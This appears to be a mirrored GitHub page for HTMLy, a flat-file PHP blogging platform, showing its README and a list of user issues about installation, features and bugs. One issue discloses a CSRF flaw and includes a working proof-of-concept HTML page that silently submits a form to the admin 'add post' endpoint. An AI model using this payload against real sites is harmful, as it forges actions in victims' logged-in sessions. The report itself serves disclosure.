Giter Site home page Giter Site logo

danpros / htmly Goto Github PK

View Code? Open in Web Editor NEW
994.0 73.0 257.0 7.22 MB

Simple and fast databaseless PHP blogging platform, and Flat-File CMS

Home Page: https://www.htmly.com

License: GNU General Public License v2.0

PHP 50.29% CSS 33.47% JavaScript 16.24%
php blog blog-engine flat-file cms php8 markdown website

htmly's Introduction

Logo

HTMLy is an open source databaseless blogging platform prioritizes simplicity and speed written in PHP.

It uses a unique algorithm to find or list any content based on date, type, category, tag, or author, and it's performance remain fast even if we have ten thousand of posts and hundreds of tags.

Requirements

HTMLy requires PHP 5.3 or greater, PHP-XML package, PHP-INTL package, and PHP-ZIP package for backup feature.

Installations

Install HTMLy using the source code:

  1. Download the latest version from the Github repo
  2. Upload and extract the zip file to your web server. You can upload it in the root directory, or in subdirectory such as htmly.
  3. Visit your domain. If you extract it in root directory visit https://www.example.com/install.php and if in subdirectory visit https://www.example.com/htmly/install.php.
  4. Follow the installer to install HTMLy.
  5. The installer will try to delete itself. Please delete the installer manually if the install.php still exist.

Note: If you don't need to log in to the dashboard, just rename config.ini.example to config.ini, delete install.php, and you are set. It's always good practice to set the site.url

Online install

Install HTMLy without downloading the source code and use the online installer:

  1. Download online-installer.php from the latest release
  2. If you upload it in root directory visit https://www.example.com/online-installer.php or if in subdirectory visit https://www.example.com/subdirectory/online-installer.php.
  3. Follow the installer to install HTMLy.
  4. Please delete the installer manually if the online-installer.php and install.php still exist.

Configurations

Set written permission for the cache and content directories.

Users assigned with the admin role can edit/delete all users posts.

To access the admin panel, add /login to the end of your site's URL. e.g. www.yoursite.com/login

Content Structure

Like traditional static pages, even though HTMLy is a dynamic PHP application, most important metadata such as username, category, type, tags, publication date, and slug are in the folder name and filename.

If you use the dashboard to write your posts, the folder structure and filenames will be set by the dashboard automatically.

The following is an example of a folder and file structure from HTMLy:

content/my-username/blog/my-category/post/2024-01-10-15-35-45_tag1,tag2_my-post-slug.md

Here's the explanation:

  • my-username is the username.
  • my-category is the content category.
  • post is the content type. Available content type post, video, audio, link, quote.
  • 2024-01-10-15-35-45 is the published date. The date format is Y-m-d-H-i-s
  • tag1,tag2 are the tags, separated by commas
  • my-post-slug is the URL

Note: the filename metadata (post date, tags, slug) separated by an underscore.

With a structure like above, the post can now be visited even though it's just a folder structure and filename.

To claim this content or log in to dashboard, simply create my-username.ini in the config/users/ folder (see username.ini.example).

;Password
password = yourpassword

;Encryption: Set to clear, and later it will changed to password_hash automatically during login
encryption = clear

;Role
role = admin

And to add information about the author, create author.md in content/my-username/, example:

<!--t My Cool Name t-->

Just another HTMLy user

Information about my-category can be added by creating my-category.md inside the content/data/category/ folder.

<!--t My category title t-->
<!--d My category meta description d-->

This is my category info etc.

Note: The default category is Uncategorized with slug uncategorized and you do not need to creating it inside content/data/category/ folder.

Note: Delete the page folder inside the cache folder to clear the html page cache served to visitors.

Important: Every time new content added (post, pages, category), or you make changes that change the folder structure or filenames, simply delete the index and widget folder inside cache folder so that the changes detected by HTMLy.

Post Views limitations: HTMLy using the post/page slug for the post/page views counter ID. So if you edit a post/page slug without using the dashboard, then you must edit views.json in the content/data/ folder manually to update to the correct slug.

Static pages

For static pages, use the following format:

content/static/about.md

In the example above, the about.md creates the URL: www.yourblog.com/about

Thus, if you write/create files locally, you must name the .md file in the format above.

For static subpages, use the following format:

content/static/about/me.md

This will create the URL: www.yourblog.com/about/me

An example pages/subpages content looks like:

<!--t My page title t-->
<!--d My page meta description d-->

This is my page info etc.

Page ordering

To sort the pages, you just need to add integer value followed by a period.

content/static/01.contact.md
content/static/02.about.md

For static subpages:

content/static/01.contact/01.us.md
content/static/01.contact/02.me.md

Content Tags

If you are writing locally, you need specify the content tags below:

Title

<!--t Title t-->

Meta description

<!--d The meta description d-->

Tags

This is just the tags display and for the slug is in the filename.

<!--tag Tag1,Tag2 tag-->

Featured image

Post with featured image.

<!--image http://www.example.com/image-url/image.jpg image-->

Featured youtube video

Post with featured youtube video.

<!--video https://www.youtube.com/watch?v=xxxxxxx video-->

Featured soundcloud audio

Post with featured soundcloud audio.

<!--audio https://soundcloud.com/xxxx/audio-url audio-->

Featured link

Post with featured link.

<!--link https://github.com/danpros/htmly link-->

Featured quote

Post with featured quote.

<!--quote Premature Optimization is The Root of All Evil quote-->

Example

Example of how your post would look like:

<!--t Here is the post title t-->
<!--d The meta description d-->
<!--tag Tag1,Tag2 tag-->
<!--video https://www.youtube.com/watch?v=xxxxxxx video-->

Paragraph 1

Paragraph 2 etc.

Lighttpd

The following is an example configuration for lighttpd:

$HTTP["url"] =~ "^/config" {
  url.access-deny = ( "" )
}
$HTTP["url"] =~ "^/system/includes" {
  url.access-deny = ( "" )
}
$HTTP["url"] =~ "^/system/admin/views" {
  url.access-deny = ( "" )
}

url.rewrite-once = (
  "^/(themes|system|vendor)/(.*)" => "$0",
  "^/(.*\.php)" => "$0",

  # Everything else is handles by htmly
  "^/(.*)$" => "/index.php/$1"
)

Nginx

The following is a basic configuration for Nginx:

server {
  listen 80;

  server_name example.com www.example.com;
  root /usr/share/nginx/html;

  access_log /var/log/nginx/access.log;
  error_log /var/log/nginx/error.log error;

  index index.php;

  location ~ /config/ {
     deny all;
  }

  location / {
    try_files $uri $uri/ /index.php?$args;
  }

  location ~ \.php$ {
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME   $document_root$fastcgi_script_name;
        include        fastcgi_params;
  }
}

Making a secure password

Passwords can be stored in username.ini (where "username" is the user's username) in either plaintext, encryption algorithms supported by php hash or bcrypt (recommended). To generate a bcrypt encrypted password:

$ php -a
> echo password_hash('desiredpassword', PASSWORD_BCRYPT);

This will produce a hash which is to be placed in the password field in username.ini. Ensure that the encryption field is set to password_hash.

Contribute

  1. Fork and edit
  2. Submit pull request for consideration

Contributors

Copyright / License

For copyright notice please read COPYRIGHT.txt. HTMLy is licensed under the GNU General Public License Version 2.0 (or later).

htmly's People

Contributors

bc1bb avatar blackcodec avatar bluebirch avatar brh55 avatar bttrx avatar camya avatar cnhsn avatar danpros avatar dirmanhana avatar eagleman avatar ebethus avatar eliastik avatar fabianosantosnet avatar fahmi182 avatar fanningert avatar kanti avatar kshman avatar lotfihamid avatar mcumbrella avatar medmen avatar mieszkou avatar mortenjuhl-johansen avatar nightpurrer avatar projectpatatoe avatar pugtechnology avatar sb0001 avatar sean1138 avatar thopanx avatar vallyol avatar xd9527 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

htmly's Issues

Tagline di title

Wah ini bahaya kalau taglinenya 1 kalimat mas dan? misal 2 paragraf :D haha

'title' => config('blog.title') .' - '. config('blog.tagline'),

apa gk bikin variable baru aja buat custom title tag buat homepage ?

No Post Admin View

No post didalam admin view nih mas dan, barusan cek kalau baru install misal :

Warning: include(system/admin/views/no-posts.html.php): failed to open stream: No such file or directory in C:\xampp\htdocs\blog\system\includes\dispatch.php on line 284

Warning: include(): Failed opening 'system/admin/views/no-posts.html.php' for inclusion (include_path='.;C:\xampp\php\PEAR') in C:\xampp\htdocs\blog\system\includes\dispatch.php on line 284

Sepertinya gk ada/kurang file itu

Setting for Show Teaser

This should be put in the config as show full post content or show teaser.

Then user can decide what they want to show.

Then in the theme we can have a statement to check config for setting before showing content in main.HTML.php

Tag List Suggestions?

Ya Ya,I am probably the only one with a massive tag list :-P
That said, anyone have a way to make this into a drop down menu style?
I can write it myself, just tell me what file I need to edit (too lazy to look right now) heheheh

Utf-8

Hi. I'm having trouble with some files in the package being ANSI and not utf-8. Is it possible to fix this next time you release the code?

Readme MD

Please added readme.md πŸ‘―

Congratulation mr.Dan !

About section

OK, feel like a noob, how do you edit the about section that shows up on the front page. there seems to be nothing in the admin section

No admin panel

Hello,
I have install htmly in local (Mac OS Mavericks).
I have create a user admin.
I can login.
But I haven't the admin panel.
After login I have a white page with this URL : http://htmly/login/login.
Have you any idea what's wrong ?
Thank's for all

Error logs

Mas Dan, kalau error logs ini maksudnya apa ya?

PHP Warning:  file_put_contents() [<a href='function.file-put-contents'>function.file-put-contents</a>]: 
Filename cannot be empty in /system/includes/dispatch.php on line 312

Feature Request

I have not had a chance to look into the code to know how much of a problem this would be, but...can we have the ability to time the posting of a new post?

So, if I create a file under .../content//blog with a file name that has a time in the future, I would like htmly to ignore it until after the time in the file name has past. This way, I could batch write a few posts, but not have them visible all at once, but on a schedule.

Thanks!

Request Author Box

Nah, sepertinya kalau dilihat di halaman posting kan bisa ambil "Name Auhtor" yang merupakan ambil berasal dari folder author, kira-kira bisa tidak ambil sekalian isi dari author.md lalu di taro dibawah postingan menjadi authorBox, yang nantinya user bisa pasangkan rel=author G+ didalamnya.

:)

No Comments

Hi,
Where can I enable the comments function? If I change something in relation to the comments in the config.ini (Facebook) nothing happens!

htaccess and Error 500

i found some problems with my hoster (one.com) and the htaccess file.
when i use the default htaccess file, i'll get an 500, but when i change the htaccess file to

#Don't show directory listings for URLs which map to a directory.
#Options -Indexes

#Follow symbolic links in this directory.
#Options +FollowSymLinks
#Options +SymlinksIfOwnerMatch

i get the "This page doesn't exist!". even on main page or /login

i try to run htmly on a subdomain (blog.domain.com is alias for www.domain.com/htmly)

Function line 894

// Create a new instance of the markdown parser
$md = new MarkdownParser();

di log : PHP Fatal error: Class 'MarkdownParser' not found in function
masih ada MarkdownParser.

login not found

No matter how many times I've set this up and tried to get it working, I can't get the login page to come up.

I have a symlink set up in my /var/www to point to a folder in my home directory

/home/murdock/blog/ points to /var/www/blog/

and the permissions all look correct.

I get the homepage that shows "HTMLy, just another HTMLy blog" and then it says "No Posts Found"

Just a small suggestion. :)

The social icons were set in functions.php are not responsive with the active theme.

So, I think it would be better if you replace with this:

// Social links
function social(){

    $theme = config('views.root');
    $twitter = config('social.twitter'); 
    $facebook = config('social.facebook'); 
    $google = config('social.google'); 
    $tumblr = config('social.tumblr');
    $rss = site_url() . 'feed/rss';

    if (!empty($twitter)) {
        echo '<a href="' . $twitter . '" target="_blank"><img src="' . site_url() . $theme . '/img/twitter.png" width="32" height="32" alt="Twitter"/></a>';
    }

    if (!empty($facebook)) {
        echo '<a href="' . $facebook . '" target="_blank"><img src="' . site_url() . $theme . '/img/facebook.png" width="32" height="32" alt="Facebook"/></a>';
    }

    if (!empty($google)) {
        echo '<a href="' . $google . '" target="_blank"><img src="' . site_url() . $theme . '/img/googleplus.png" width="32" height="32" alt="Google+"/></a>';
    }

    if (!empty($tumblr)) {
        echo '<a href="' . $tumblr . '" target="_blank"><img src="' . site_url() . $theme . '/img/tumblr.png" width="32" height="32" alt="Tumblr"/></a>';
    }

    echo '<a href="' . site_url() . 'feed/rss" target="_blank"><img src="' . site_url() . $theme . '/img/rss.png" width="32" height="32" alt="RSS Feed"/></a>';

}

Just it, hope it would be the next update.

Add a register page

Hi,
I want to add a registration-page with to register a new user. How can I make this?
Best greetings
cyberfish

Cannot log in after upgrade to v2.0

Hello,
I wanted to test HTMLy 2.0, so I set it up on a new host, but now, I cannot log in. I have verified that the password listed in my config/users/.ini is the one I am typing into the browser. I am not seeing any errors in the apache log files. Thoughts?

d

Simple Comment System

It would be great if htmly had a simple comment system so you don't have to depend on third parties.

It should be plain text like the posts. I know thats not great for performance if you have many comments, but for small blogs it wouldn't matter.

Password

Password tidak bisa dimasuki dengan karakter. Kan kombinasi password dari huruf, angka, simbol/karakter khusus membuat kuat keamanan password itu sendiri :)

Search in content not possible

Hi, First, thanks for htmly. Can I search only in Tags? I have tried to find a word inside the content, it don't work.

Best regads
cyberfish

CSRF vulnerability

Hi, I've found a vulnerability on HTMLy that allows the attacker to create a malicious link that can create posts and/or pages without the user to know. It happens because the formularies on the administration panel aren't protected against Cross-Site Request Forgery. That's an example:

<!DOCTYPE html>
<html>
<head>
<style type="text/css">

    #escondido {
        display: none;
    }

</style>

<script type="text/javascript">

    window.onload = function() {
        document.getElementById('formulario').submit();
    }

</script>
</head>
<body>

<h1>Done</h1>

<p>Access the HTMLy blog page in order to see the post made.</p>

<form method="post" id="formulario" target="escondido" action="http://localhost//htmly-1.8/add/post">

    <input type="hidden" name="title" value="Hacked" />
    <input type="hidden" name="tag" value="hacked" />
    <input type="hidden" name="url" value="" />
    <input type="hidden" name="content" value="<h1>HACKED</h1>" />

</form>

<iframe id="escondido"></iframe>

</body>
</html>

Event system

Do you have it in plans? Calendar, agenda view, anounce...

Error 500

Hello!

I have been struggling for close to 6 hours now on trying to get this to run. I really really want this, but for whatever reason, I just can't. The site itself works fine, but when I try to go to any actual pages, such as example.com/login, it throws an error 500. I have looked up a bunch of solutions but nothing seems to run. I am using nginx and using my own configuration since yours just doesn't work. I am running nginx on Ubuntu 13.10 Server.

/etc/nginx/sites-available/default:

server {
    listen 80; 
    root /var/www;
    server_name example; #this isn't what is actually in mine, I just don't want to reveal my domain

    location / {
    try_files $uri/ $uri /index.php?$query_string;
    }

    location ~ \.php$ {
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/var/run/php5-fpm.sock;
        fastcgi_index index.php;
        include fastcgi_params;
    }

    location /doc/ {
        alias /usr/share/doc/;
        autoindex on;
        allow 127.0.0.1;
        deny all;
    }

    location ~/\.ht {
        deny all;
    }

}

At the moment, I am just trying to get the bare minimum to work. Then I will add the config block etc.

I have no idea anymore.

Facebook Comment

Saya masih belum ngerti dengan penambahan kolom komentar menggunakan facebook.
Pada file config.ini dalam direktori config, ada fb.appid. Dimana saya bisa mendapatkannya? Kemudian bagaimana saya bisa mengetahui bila suatu postingan mendapat komentar?apakah ada semacam dashboard untuk mengelola komentar seperti di wordpress dan blogspot, misal menyetujui, membalas atau menghapus komentar. kan ga mungkin banget kalau harus ngecek satu-satu postingan hanya untuk melihat apakah ada komentar baru atau tidak.

terima kasih

meta content di layout

Meta content di layout Home sepertinya harus dipasang kaya dinamik heading mas Dan, kalau di share artikel via Google+ yang diambil Title dari Home --

Contoh :

https://plus.google.com/share?url=http://www.danlogs.com/2014/02/htmly-v1.8-released

harusnya kaya gini :

https://plus.google.com/share?url=http://www.anakseo.com/2013/11/waktu-tepat-untuk-promosi-toko-online

yang div class hide itu lho..

    <?php if(is_index()) {?>
    <div class="meta hide">
        <meta content="<?php echo blog_title() ?>" itemprop="name"/>
        <meta content="<?php echo blog_description() ?>" itemprop="description"/>
    </div>
    <?php } else {?>
    <?php } ?>

No Issue - Just Complementing

Just to let you know, that I wrote an app yesterday (php) that imported over 3,100+ game post, converted it to htmly format, and had it posted - took about 5min, and am happy to say your no-db script handles it just fine - If youwant I can post the link - or email me,and I'll send it to you - its just a casual gaming site - but it handles it just fine. So i will proceed with the rest of the sript that will process the rss feed to update daily. :-)

Numbered list and Bulleted list

I try to write a list in a "add post" page, write a few rows then I click "Number list" button or "Bulleted list" button, but the list becomes one row and showing just one list.

Support non apache webserver

Really a great blog tool. But please support non apache webserver (lighttpd, nginx, ...)
What I see is that at the moment the .htaccess files are the problems.

for one .htaccess i have the solution.
~/config/.htaccess

deny from all

lighttpd config

$HTTP["url"] =~ "^/config" {
  url.access-deny = ( "" )
}

Regards Thomas

other social networks

easy way to add "any" social network, i added flickr to fit my needs.

in system/includes/functions.php look for " // Social links " or (faster method) tumblr

first add this line

$flickr = config('social.flickr');

and after

if (!empty($tumblr)) {
    echo '<a href="' . $tumblr . '" target="_blank"><img src="' . site_url() . 'themes/default/img/tumblr.png" width="32" height="32" alt="Tumblr"/></a>';
}

add this line (in this case flickr)

if (!empty($flickr)) {
    echo '<a href="' . $flickr . '" target="_blank"><img src="' . site_url() . 'themes/default/img/flickr.png" width="32" height="32" alt="flickr"/></a>';
}

than in /config/config.ini

social.flickr = "https://www.flickr.com/photos/{FLICKR-USERNAME}/sets"

"sets" is optional, i like this view most

and last thing to do: place your flickr.png (32x32 or bigger it will be resized!) into /themes/default/img/

import / migrasi post blogger / wp

ada yang bisa bantu memudahkan proses import / migrasi post blogger / wp ke htmly ? manual sih πŸ‘― bisa cuma lagi males πŸŒ—

Documentation for theme creation

Even though the themes shipped with the HTMLy standard install are quite didactic, I'd like to know the API that the themes use to display content. HTMLy has a "Doc" link that leads to the Readme.md of the repository.

Sort pages in Nav

At first of all HTMLy is a very nice cms. Now my question: Is there a way to organize pages in the navigation?

sort post by date

hello, barusan uji coba posting, tapi masih ada sedikit ganjalan seperti tampilan posting yang tidak berdasarkan tanggal terbaru. Bagaimana cara memperbaikinya ?

Post Is Media Exception

So if the first line of a post is media and has nothing following the media, show the full media.

Password in ini file under users

This is not an issue is a suggestion...
Can i suggest to use the md5 or sha encryption for password check, i give you an example, in login page we insert username and pasword so the class call username.ini file and check that the password we have insert is equal to the password value stored in ini... if for example somebody break the ftp password will access all users password, this is not safely, if you change the check from if $_POST['password'] == $ini['Password']) in if (md5($_POST['password']) == $ini['Password']) it become more secure.

In detail line 20 of admin.php say:
if ($pass === $user_pass)
this can become:
if (md5($pass) === $user_pass)
and in the ini file the password is stored in md5 for example.

Sorry for my bad english.

Login / Admin Panel still not available

I tried all tips from the issues but still got no login page. It must have something to do with the webserver.

The first shot was with MAMP on Mac OS X, this is my local development and test environment. It was running as exepected.

After coping it to Linux server with apache the login page is not available.
I also tried lighttpd and nginx without any sucess.

Does anybody has the ultimate hint or trick?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    πŸ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. πŸ“ŠπŸ“ˆπŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❀️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.